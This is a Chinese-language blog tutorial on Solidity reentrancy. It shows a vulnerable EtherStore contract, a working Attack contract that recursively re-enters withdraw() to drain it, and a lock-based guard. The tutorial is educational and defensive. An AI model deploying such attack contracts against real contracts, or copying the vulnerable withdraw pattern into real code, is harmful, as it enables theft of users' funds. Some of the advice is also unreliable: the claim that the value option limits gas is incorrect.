solidity智能合约基础漏洞–重入漏洞

区块链安全 3年前 (2022) admin

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0x01 重入本质

调用外部合约或将Ether发送到地址的操作需要合约提交外部调用，这些外部调用可能被攻击者劫持，迫使合约执行进一步的代码导致重新进入逻辑。

0x02 前置知识

我们需要先知道以下几种函数的区别

<address>.transfer()：发送失败则回滚交易状态，只传递 2300 Gas 供调用，防止重入。
<address>.send()：发送失败则返回 false，只传递 2300 Gas 供调用，防止重入。
<address>.call()：发送失败返回 false，会传递所有可用 Gas 给予外部合约 fallback() 调用；可通过 { value: money } 限制 Gas，不能有效防止重入。

payable 标识符

在函数上添加 payable 标识，即可接受 Ether，并将其存储在当前合约中。

0x03 漏洞复现

以当前最新版 Solidity 0.8 为例：

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;
contract EtherStore {    mapping(address => uint) public balances;
    function deposit() public payable {        balances[msg.sender] += msg.value;    }
    function withdraw() public {        uint bal = balances[msg.sender];        require(bal > 0);
        (bool sent,) = msg.sender.call{value: bal}(""); // Vulnerability of re-entrancy        require(sent, "Failed to send Ether");
        balances[msg.sender] = 0;    }
    // Helper function to check the balance of this contract    function getBalance() public view returns (uint) {        return address(this).balance;    }}

EtherStore 合约在转账函数 withdraw() 中使用了<address>.call{}() 函数，这导致黑客可利用 fallback() 函数递归调用 withdraw() 函数，从而把 EtherStore 合约上所有的钱都转走。我们接着上述合约继续编写攻击代码：

contract Attack {    EtherStore public etherStore;
    constructor(address _etherStoreAddress) {        etherStore = EtherStore(_etherStoreAddress);    }
    // Fallback is called when EtherStore sends Ether to this contract.    fallback() external payable {        if (address(etherStore).balance >= 1 ether) {            etherStore.withdraw();        }    }
    function attack() external payable {        require(msg.value >= 1 ether);        etherStore.deposit{value: 1 ether}();        etherStore.withdraw(); // go to fallback    }
    // Helper function to check the balance of this contract    function getBalance() public view returns (uint) {        return address(this).balance;    }}

攻击代码首先创建一个构造函数用于接收漏洞代码的合约地址，然后编写攻击函数：存钱 deposit() 后调用能重入的函数 withdraw()，然后编写 fallback() 函数递归调用重入函数。

我们部署第一份合约，将 90 个 Ether 存入合约地址：

接着，我们换账号部署第二份合约。部署时，需要传入第一份合约的地址。然后将 1 Ether 存入该合约，进行攻击：

接下来查询攻击合约的余额：

点击 getBalance，查询到该合约有 91000000000000000000 wei，刚好是原始合约的 90 ether 加上我们存入的 1 ether，攻击至此完成。

0x04 安全建议

最简单防止重入的办法是不用<address>.call() 函数，选择更加安全的函数，如：transfer() 和 send()。

如果一定要用 call() 函数，可选择加锁来防止重入：

contract ReEntrancyGuard {    bool internal locked;
    modifier noReentrant() {        require(!locked, "No re-entrancy");        locked = true;        _; // re-entrancy        locked = false;    }}